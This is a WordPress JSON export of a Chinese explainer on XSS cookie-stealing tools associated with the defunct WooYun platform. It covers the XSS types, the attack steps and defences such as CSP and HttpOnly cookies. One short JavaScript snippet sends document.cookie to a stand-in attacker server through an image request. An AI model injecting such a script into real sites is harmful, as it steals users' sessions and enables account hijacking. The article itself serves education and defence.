{"id":321457,"date":"2024-05-21T19:30:23","date_gmt":"2024-05-21T11:30:23","guid":{"rendered":""},"modified":"2024-05-21T19:30:40","modified_gmt":"2024-05-21T11:30:40","slug":"%e4%b9%8c%e4%ba%91%e9%87%8cxss%e7%9a%84cookie%e6%94%b6%e9%9b%86%e5%b7%a5%e5%85%b7%e6%98%af%e4%bb%80%e4%b9%88%e5%91%a2","status":"publish","type":"post","link":"https:\/\/docs.pingcode.com\/ask\/321457.html","title":{"rendered":"\u4e4c\u4e91\u91ccxss\u7684cookie\u6536\u96c6\u5de5\u5177\u662f\u4ec0\u4e48\u5462"},"content":{"rendered":"<p style=\"text-align:center\"><img decoding=\"async\" src=\"https:\/\/cdn-kb.worktile.com\/kb\/wp-content\/uploads\/2024\/04\/25113741\/5609393a-a120-475d-b08a-b5295d34b990.webp\" alt=\"\u4e4c\u4e91\u91ccxss\u7684cookie\u6536\u96c6\u5de5\u5177\u662f\u4ec0\u4e48\u5462\" \/><\/p>\n<p><p>\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff08XSS\uff09\u662f\u7f51\u7edc\u5e94\u7528\u4e2d\u7684\u4e00\u79cd\u5e38\u89c1\u6f0f\u6d1e\uff0c\u5b83\u5141\u8bb8\u653b\u51fb\u8005\u5c06\u6076\u610f\u811a\u672c\u6ce8\u5165\u7528\u6237\u6d4f\u89c8\u7684\u9875\u9762\u4e2d\u3002\u800c\u5728\u8fd9\u7c7b\u653b\u51fb\u4e2d\uff0c\u653b\u51fb\u8005\u53ef\u80fd\u4f1a\u4f7f\u7528\u7279\u6b8a\u7684\u5de5\u5177\u6765\u6536\u96c6\u53d7\u5bb3\u8005\u7684Cookie\u4fe1\u606f\u3002<strong>\u4e4c\u4e91\uff08WooYun\uff09\u662f\u4e00\u4e2a\u77e5\u540d\u7684\u4e2d\u56fd\u5b89\u5168\u5e73\u53f0\uff0c\u4f46\u5df2\u7ecf\u57282016\u5e74\u5173\u95ed\uff0c\u56e0\u6b64\u4e4c\u4e91\u91cc\u7684XSS Cookie\u6536\u96c6\u5de5\u5177\u53ef\u80fd\u6307\u7684\u662f\u7531\u5b89\u5168\u7814\u7a76\u4eba\u5458\u6216\u9ed1\u5ba2\u5728\u8be5\u5e73\u53f0\u65f6\u671f\u4f7f\u7528\u6216\u5f00\u53d1\u7684\u5de5\u5177<\/strong>\u3002\u8fd9\u4e9b\u5de5\u5177\u901a\u5e38\u88ab\u8bbe\u8ba1\u6765\u81ea\u52a8\u5316\u6536\u96c6\u8fc7\u7a0b\u3001\u63d0\u9ad8\u653b\u51fb\u6548\u7387\u3002<\/p>\n<\/p>\n<p><p>\u5bf9\u4e8eXSS\u653b\u51fb\u7684\u5b9e\u65bd\uff0c\u7279\u522b\u662fCookie\u6536\u96c6\uff0c\u901a\u5e38\u6d89\u53ca\u4e86\u4e24\u4e2a\u5c42\u9762\uff1a<strong>\u63d0\u4f9bXSS\u6f0f\u6d1e\u7684\u7f51\u9875\u4ee3\u7801\u6ce8\u5165<\/strong>\u3001<strong>\u653b\u51fb\u8005\u63a7\u5236\u7684\u811a\u672c\u6216\u670d\u52a1\u6536\u96c6Cookie<\/strong>\u3002\u5728\u4e4c\u4e91\u5e73\u53f0\u65f6\u671f\uff0c\u8fd9\u7c7b\u5de5\u5177\u53ef\u80fd\u4f1a\u88ab\u5206\u4eab\u5728\u8bba\u575b\u6216\u6587\u7ae0\u4e2d\uff0c\u4f9b\u7814\u7a76\u4eba\u5458\u5b66\u4e60\u548c\u6d4b\u8bd5\u7f51\u7ad9\u6f0f\u6d1e\u3002\u4f46\u5e94\u8be5\u6ce8\u610f\uff0c\u4f7f\u7528\u8fd9\u4e9b\u5de5\u5177\u8fdb\u884c\u672a\u6388\u6743\u7684\u653b\u51fb\u662f\u975e\u6cd5\u7684\uff0c\u5b83\u4eec\u5e94\u4ec5\u7528\u4e8e\u5b89\u5168\u7814\u7a76\u548c\u6d4b\u8bd5\u81ea\u5df1\u7f51\u7ad9\u7684\u5b89\u5168\u6027\u3002<\/p>\n<\/p>\n<p><h3>\u4e00\u3001XSS\u653b\u51fb\u539f\u7406<\/h3>\n<\/p>\n<p><p>XSS\u653b\u51fb\u53ef\u5206\u4e3a\u5b58\u50a8\u578b\u3001\u53cd\u5c04\u578b\u548c\u57fa\u4e8eDOM\u7684XSS\u3002\u8fd9\u4e09\u79cd\u65b9\u5f0f\u5404\u6709\u4e0d\u540c\u7684\u653b\u51fb\u8fc7\u7a0b\u548c\u5229\u7528\u65b9\u5f0f\u3002<\/p>\n<\/p>\n<p><h4>\u5b58\u50a8\u578bXSS<\/h4>\n<\/p>\n<p><p>\u5b58\u50a8\u578bXSS\u4e5f\u88ab\u79f0\u4e3a\u6301\u4e45\u6027XSS\uff0c\u653b\u51fb\u811a\u672c\u88ab\u5b58\u50a8\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\uff0c\u4f8b\u5982\u6570\u636e\u5e93\u3001\u6d88\u606f\u8bba\u575b\u548c\u8bbf\u5ba2\u65e5\u5fd7\u3002\u5f53\u7528\u6237\u8bbf\u95ee\u542b\u6709\u6076\u610f\u811a\u672c\u7684\u9875\u9762\u65f6\uff0c\u811a\u672c\u4f1a\u6267\u884c\uff0c\u4ece\u800c\u5b8c\u6210\u653b\u51fb\u3002<\/p>\n<\/p>\n<p><h4>\u53cd\u5c04\u578bXSS<\/h4>\n<\/p>\n<p><p>\u53cd\u5c04\u578bXSS\uff0c\u6216\u975e\u6301\u4e45\u6027XSS\uff0c\u653b\u51fb\u811a\u672c\u4ec5\u5728\u7528\u6237\u7684\u5f53\u524d\u8bf7\u6c42\u8fc7\u7a0b\u4e2d\u6267\u884c\u3002\u901a\u5e38\uff0c\u6076\u610f\u811a\u672c\u901a\u8fc7URL\u53c2\u6570\u4f20\u9012\uff0c\u7528\u6237\u70b9\u51fb\u5e26\u6709\u6076\u610fURL\u7684\u94fe\u63a5\u65f6\uff0c\u670d\u52a1\u5668\u4f1a\u5c06\u6076\u610f\u4ee3\u7801\u4f5c\u4e3a\u54cd\u5e94\u7684\u4e00\u90e8\u5206\u8fd4\u56de\uff0c\u6d4f\u89c8\u5668\u6267\u884c\u8fd9\u6bb5\u811a\u672c\u4ece\u800c\u89e6\u53d1\u653b\u51fb\u3002<\/p>\n<\/p>\n<p><h4>\u57fa\u4e8eDOM\u7684XSS<\/h4>\n<\/p>\n<p><p>\u57fa\u4e8eDOM\u7684XSS\u653b\u51fb\u662f\u7531\u4e8e\u5ba2\u6237\u7aef\u811a\u672c\uff08\u5982JavaScript\uff09\u4e2d\u5904\u7406\u6570\u636e\u7684\u65b9\u5f0f\u4e0d\u6070\u5f53\u9020\u6210\u7684\u3002\u5728DOM\u578bXSS\u653b\u51fb\u4e2d\uff0c\u6076\u610f\u4ee3\u7801\u4e0d\u662f\u6765\u81ea\u670d\u52a1\u5668\uff0c\u800c\u662f\u5b58\u5728\u4e8e\u5ba2\u6237\u7aef\u811a\u672c\u4e2d\u3002<\/p>\n<\/p>\n<p><h3>\u4e8c\u3001XSS COOKIE\u6536\u96c6\u5de5\u5177\u7684\u7c7b\u578b<\/h3>\n<\/p>\n<p><p>\u5904\u7406XSS\u653b\u51fb\u4ee5\u53ca\u6536\u96c6Cookie\u7684\u5de5\u5177\u591a\u79cd\u591a\u6837\uff0c\u53ef\u5206\u4e3a\u81ea\u5efa\u811a\u672c\u5de5\u5177\u548c\u7b2c\u4e09\u65b9\u670d\u52a1\u5de5\u5177\u3002<\/p>\n<\/p>\n<p><h4>\u81ea\u5efa\u811a\u672c\u5de5\u5177<\/h4>\n<\/p>\n<p><p>\u5b89\u5168\u7814\u7a76\u4eba\u5458\u6216\u653b\u51fb\u8005\u6839\u636e\u653b\u51fb\u9700\u6c42\u7f16\u5199\u7684JavaScript\u811a\u672c\uff0c<strong>\u5b83\u4eec\u901a\u5e38\u5305\u542b\u7528\u4e8e\u76d7\u53d6Cookie\u3001\u76d1\u542c\u952e\u76d8\u8f93\u5165\u3001\u83b7\u53d6\u7cfb\u7edf\u4fe1\u606f\u7684\u529f\u80fd<\/strong>\u3002\u8fd9\u7c7b\u811a\u672c\u53ef\u4ee5\u76f4\u63a5\u6ce8\u5165\u5230\u53d7XSS\u6f0f\u6d1e\u5f71\u54cd\u7684\u7f51\u7ad9\u4e2d\u3002<\/p>\n<\/p>\n<p><h4>\u7b2c\u4e09\u65b9\u670d\u52a1\u5de5\u5177<\/h4>\n<\/p>\n<p><p>\u8fd9\u4e9b\u5de5\u5177\u63d0\u4f9b\u4e86\u56fe\u5f62\u7528\u6237\u754c\u9762\uff0c\u65b9\u4fbf\u653b\u51fb\u8005\u521b\u5efaXSS\u811a\u672c\u5e76\u7ba1\u7406\u653b\u51fb\u3002<strong>\u5b83\u4eec\u901a\u5e38\u5177\u5907\u6570\u636e\u6536\u96c6\u3001\u5206\u6790\u548c\u62a5\u544a\u7684\u529f\u80fd<\/strong>\u3002\u4e00\u4e9b\u5e38\u89c1\u7684\u5de5\u5177\u4f8b\u5982BeEF\uff08Browser Exploitation Framework\uff09\u3001xssor.io\u7b49\u3002<\/p>\n<\/p>\n<p><h3>\u4e09\u3001XSS\u653b\u51fb\u811a\u672c\u7684\u7f16\u5199<\/h3>\n<\/p>\n<p><p>\u4ee5\u4e0b\u5c06\u4f1a\u5c55\u793a\u5982\u4f55\u7f16\u5199\u4e00\u4e2a\u57fa\u672c\u7684XSS\u653b\u51fb\u811a\u672c\u6765\u76d7\u53d6Cookie\u4fe1\u606f\uff0c\u4f46\u8bf7\u8bb0\u4f4f\uff0c<strong>\u8fd9\u53ea\u662f\u4e3a\u4e86\u6559\u5b66\u76ee\u7684\uff0c\u5207\u52ff\u7528\u4e8e\u975e\u6cd5\u6d3b\u52a8<\/strong>\u3002<\/p>\n<\/p>\n<p><h4>\u57fa\u672c\u653b\u51fb\u811a\u672c<\/h4>\n<\/p>\n<p><p>\u653b\u51fb\u811a\u672c\u57fa\u672c\u7ed3\u6784\u901a\u5e38\u4f1a\u6709\uff1a\u76d1\u542c\u5668\u3001\u6570\u636e\u6355\u83b7\u3001\u6570\u636e\u4f20\u8f93\u7b49\u7ec4\u6210\u3002\u6bd4\u5982\u4e00\u4e2a\u7b80\u5355\u7684\u811a\u672c\u53ef\u4ee5\u662f\uff1a<\/p>\n<\/p>\n<p><pre><code class=\"language-javascript\">&lt;script&gt;<\/p>\n<p>  var cookie = document.cookie;<\/p>\n<p>  var img = new Image();<\/p>\n<p>  img.src = &quot;http:\/\/\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668.com\/?cookie=&quot; + escape(cookie);<\/p>\n<p>&lt;\/script&gt;<\/p>\n<p><\/code><\/pre>\n<\/p>\n<p><h4>\u9ad8\u7ea7\u653b\u51fb\u811a\u672c<\/h4>\n<\/p>\n<p><p>\u9ad8\u7ea7\u653b\u51fb\u811a\u672c\u53ef\u80fd\u4f1a\u5305\u542b\u5bf9\u6570\u636e\u52a0\u5bc6\u3001\u4f2a\u88c5\u8bf7\u6c42\u3001\u4ee5\u53ca\u5176\u4ed6\u65e8\u5728\u89c4\u907f\u5b89\u5168\u63aa\u65bd\u7684\u6280\u672f\u3002\u8fd9\u4e9b\u811a\u672c\u66f4\u52a0\u590d\u6742\uff0c\u53ef\u80fd\u9700\u8981\u6839\u636e\u7279\u5b9a\u573a\u666f\u6765\u8bbe\u8ba1\u3002<\/p>\n<\/p>\n<p><h3>\u56db\u3001XSS\u653b\u51fb\u7684\u5b9e\u65bd\u6b65\u9aa4<\/h3>\n<\/p>\n<p><p>\u5b9e\u65bdXSS\u653b\u51fb\u901a\u5e38\u9075\u5faa\u7279\u5b9a\u7684\u6b65\u9aa4\uff0c\u4ee5\u4e0b\u662f\u4e00\u4e2a\u6807\u51c6\u6d41\u7a0b\uff1a<\/p>\n<\/p>\n<p><h4>\u653b\u51fb\u51c6\u5907<\/h4>\n<\/p>\n<p><p>\u653b\u51fb\u8005\u9700\u8981\u8bc6\u522b\u76ee\u6807\u7ad9\u70b9\u4e0a\u5b58\u5728\u7684XSS\u6f0f\u6d1e\uff0c\u8fd9\u901a\u5e38\u901a\u8fc7\u53d1\u9001\u5305\u542b\u7279\u6b8a\u5b57\u7b26\u7684\u8bf7\u6c42\u5e76\u89c2\u5bdf\u54cd\u5e94\u6765\u5b9e\u73b0\u3002<\/p>\n<\/p>\n<p><h4>\u5229\u7528\u6f0f\u6d1e<\/h4>\n<\/p>\n<p><p>\u786e\u5b9a\u6f0f\u6d1e\u5b58\u5728\u540e\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u51c6\u5907\u6076\u610f\u811a\u672c\uff0c\u5e76\u5c06\u5176\u6ce8\u5165\u5230\u80fd\u88ab\u53d7\u5bb3\u8005\u6240\u8bbf\u95ee\u5230\u7684\u4f4d\u7f6e\u3002<\/p>\n<\/p>\n<p><h4>\u6536\u96c6\u6570\u636e<\/h4>\n<\/p>\n<p><p>\u901a\u8fc7\u6ce8\u5165\u7684\u811a\u672c\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u641c\u96c6\u53d7\u5bb3\u8005\u7684Cookie\u4ee5\u53ca\u5176\u4ed6\u654f\u611f\u6570\u636e\uff0c\u5e76\u5c06\u8fd9\u4e9b\u6570\u636e\u53d1\u9001\u5230\u4ed6\u4eec\u63a7\u5236\u7684\u670d\u52a1\u5668\u3002<\/p>\n<\/p>\n<p><h4>\u5206\u6790\u5229\u7528<\/h4>\n<\/p>\n<p><p>\u62ff\u5230\u6570\u636e\u540e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5bf9\u5176\u8fdb\u884c\u5206\u6790\uff0c\u5e76\u53ef\u80fd\u5229\u7528\u6536\u96c6\u5230\u7684\u4fe1\u606f\u8fdb\u884c\u8fdb\u4e00\u6b65\u7684\u653b\u51fb\uff0c\u5982\u4f1a\u8bdd\u52ab\u6301\u6216\u8eab\u4efd\u7a83\u53d6\u3002<\/p>\n<\/p>\n<p><h3>\u4e94\u3001XSS\u653b\u51fb\u9632\u62a4\u63aa\u65bd<\/h3>\n<\/p>\n<p><p>\u9632\u5fa1XSS\u653b\u51fb\u662f\u5f53\u52a1\u4e4b\u6025\u3002\u4ee5\u4e0b\u662f\u4e00\u4e9b\u57fa\u7840\u548c\u8fdb\u9636\u7684\u9632\u62a4\u63aa\u65bd\uff1a<\/p>\n<\/p>\n<p><h4>\u8f93\u5165\u8f93\u51fa\u8fc7\u6ee4<\/h4>\n<\/p>\n<p><p><strong>\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u5145\u5206\u7684\u9a8c\u8bc1\u548c\u8fc7\u6ee4<\/strong>\u3002\u4f8b\u5982\uff0c\u4f7f\u7528\u767d\u540d\u5355\u8fc7\u6ee4\u8f93\u5165\u3001\u5bf9\u8f93\u51fa\u8fdb\u884c\u7f16\u7801\u4ee5\u963b\u6b62\u6267\u884cHTML\u548cJavaScript\u3002<\/p>\n<\/p>\n<p><h4>\u5185\u5bb9\u5b89\u5168\u7b56\u7565<\/h4>\n<\/p>\n<p><p>\u4f7f\u7528\u5185\u5bb9\u5b89\u5168\u7b56\u7565\uff08CSP\uff09\u53ef\u4ee5\u63d0\u4f9b\u4e00\u4e2a\u989d\u5916\u7684\u5b89\u5168\u5c42\u9762\uff0c\u4ee5\u963b\u6b62\u9875\u9762\u52a0\u8f7d\u6076\u610f\u8d44\u6e90\u3002<\/p>\n<\/p>\n<p><h4>\u52a0\u5f3aCookie\u5b89\u5168\u6027<\/h4>\n<\/p>\n<p><p>\u4e3a\u654f\u611fCookie\u8bbe\u7f6e<code>HttpOnly<\/code>\u5c5e\u6027\uff0c\u53ef\u4ee5\u963b\u6b62JavaScript\u8bbf\u95ee\u8fd9\u4e9bCookie\u3002\u540c\u65f6\uff0c\u4f7f\u7528<code>Secure<\/code>\u5c5e\u6027\u786e\u4fddCookie\u4ec5\u901a\u8fc7\u52a0\u5bc6\u8fde\u63a5\u53d1\u9001\u3002<\/p>\n<\/p>\n<p><p>\u901a\u8fc7\u4e0a\u8ff0\u65b9\u6cd5\uff0c\u53ef\u4ee5\u6709\u6548\u63d0\u5347\u7f51\u7ad9\u7684\u5b89\u5168\u6027\uff0c\u51cf\u5c11XSS\u653b\u51fb\u7684\u98ce\u9669\u3002\u8bb0\u4f4f\uff0c\u7f51\u7edc\u5b89\u5168\u662f\u4e00\u4e2a\u6301\u7eed\u7684\u8fc7\u7a0b\uff0c\u9700\u8981\u5b9a\u671f\u7684\u68c0\u67e5\u548c\u66f4\u65b0\u7b56\u7565\u3002<\/p>\n<\/p>\n<h2><strong>\u76f8\u5173\u95ee\u7b54FAQs\uff1a<\/strong><\/h2>\n<p><strong>\u4ec0\u4e48\u662f\u4e4c\u4e91\u91ccXSS\u7684cookie\u6536\u96c6\u5de5\u5177\uff1f<\/strong><\/p>\n<p>\u4e4c\u4e91\u662f\u4e2d\u56fd\u6700\u5927\u7684\u6f0f\u6d1e\u62a5\u544a\u5e73\u53f0\uff0c\u800cXSS (\u8de8\u7ad9\u811a\u672c\u653b\u51fb) \u662f\u4e00\u79cd\u5e38\u89c1\u7684\u7f51\u7edc\u5b89\u5168\u6f0f\u6d1e\u3002\u4e4c\u4e91\u91cc\u7684XSS\u7684cookie\u6536\u96c6\u5de5\u5177\u662f\u4e00\u79cd\u7528\u4e8e\u83b7\u53d6\u53d7XSS\u6f0f\u6d1e\u5f71\u54cd\u7684\u7f51\u7ad9\u4e2d\u7528\u6237cookie\u4fe1\u606f\u7684\u5de5\u5177\u3002<\/p>\n<p><strong>\u5982\u4f55\u4f7f\u7528\u4e4c\u4e91\u91cc\u7684XSS\u7684cookie\u6536\u96c6\u5de5\u5177\uff1f<\/strong><\/p>\n<p>\u4f7f\u7528\u4e4c\u4e91\u91cc\u7684XSS\u7684cookie\u6536\u96c6\u5de5\u5177\u9700\u8981\u5177\u5907\u4e00\u5b9a\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u548c\u6280\u672f\u80fd\u529b\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u653b\u51fb\u8005\u9700\u8981\u5728\u76ee\u6807\u7f51\u7ad9\u4e2d\u6ce8\u5165\u6076\u610f\u7684JavaScript\u4ee3\u7801\uff0c\u5f53\u7528\u6237\u8bbf\u95ee\u8be5\u7f51\u7ad9\u65f6\uff0c\u4ee3\u7801\u4f1a\u6267\u884c\u5e76\u5c06\u7528\u6237\u7684cookie\u4fe1\u606f\u53d1\u9001\u7ed9\u653b\u51fb\u8005\u3002<\/p>\n<p><strong>\u5982\u4f55\u9632\u8303\u4e4c\u4e91\u91ccXSS\u7684cookie\u6536\u96c6\u5de5\u5177\uff1f<\/strong><\/p>\n<p>\u9632\u8303\u4e4c\u4e91\u91ccXSS\u7684cookie\u6536\u96c6\u5de5\u5177\u9700\u8981\u91c7\u53d6\u4e00\u7cfb\u5217\u7684\u5b89\u5168\u63aa\u65bd\u3002\u9996\u5148\uff0c\u7f51\u7ad9\u5f00\u53d1\u4eba\u5458\u5e94\u5f53\u5bf9\u8f93\u5165\u8fdb\u884c\u4e25\u683c\u7684\u9a8c\u8bc1\u548c\u8fc7\u6ee4\uff0c\u786e\u4fdd\u7528\u6237\u8f93\u5165\u7684\u5185\u5bb9\u4e0d\u4f1a\u6210\u4e3a\u6076\u610f\u4ee3\u7801\u7684\u4e00\u90e8\u5206\u3002\u5176\u6b21\uff0c\u4f7f\u7528Web\u5e94\u7528\u9632\u706b\u5899(WAF)\u53ef\u4ee5\u5e2e\u52a9\u68c0\u6d4b\u548c\u62e6\u622a\u53ef\u80fd\u7684XSS\u653b\u51fb\u3002\u6b64\u5916\uff0c\u53ca\u65f6\u66f4\u65b0\u548c\u4fee\u8865\u5df2\u77e5\u7684\u5b89\u5168\u6f0f\u6d1e\u4e5f\u662f\u9632\u8303XSS\u653b\u51fb\u7684\u91cd\u8981\u63aa\u65bd\u3002\u6700\u540e\uff0c\u7528\u6237\u5728\u4f7f\u7528\u7f51\u7ad9\u65f6\u5e94\u5f53\u4fdd\u6301\u8b66\u60d5\uff0c\u907f\u514d\u70b9\u51fb\u53ef\u7591\u7684\u94fe\u63a5\u548c\u8bbf\u95ee\u4e0d\u53ef\u4fe1\u7684\u7f51\u7ad9\uff0c\u540c\u65f6\u5b9a\u671f\u6e05\u9664\u6d4f\u89c8\u5668\u7684\u7f13\u5b58\u548ccookie\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"\u8de8\u7ad9\u811a\u672c\u653b\u51fb\uff08XSS\uff09\u662f\u7f51\u7edc\u5e94\u7528\u4e2d\u7684\u4e00\u79cd\u5e38\u89c1\u6f0f\u6d1e\uff0c\u5b83\u5141\u8bb8\u653b\u51fb\u8005\u5c06\u6076\u610f\u811a\u672c\u6ce8\u5165\u7528\u6237\u6d4f\u89c8\u7684\u9875\u9762\u4e2d\u3002\u800c\u5728\u8fd9\u7c7b\u653b\u51fb\u4e2d\uff0c [&hellip;]","protected":false},"author":3,"featured_media":321474,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[37],"tags":[],"acf":[],"_links":{"self":[{"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/posts\/321457"}],"collection":[{"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/comments?post=321457"}],"version-history":[{"count":0,"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/posts\/321457\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/media\/321474"}],"wp:attachment":[{"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/media?parent=321457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/categories?post=321457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/docs.pingcode.com\/wp-json\/wp\/v2\/tags?post=321457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}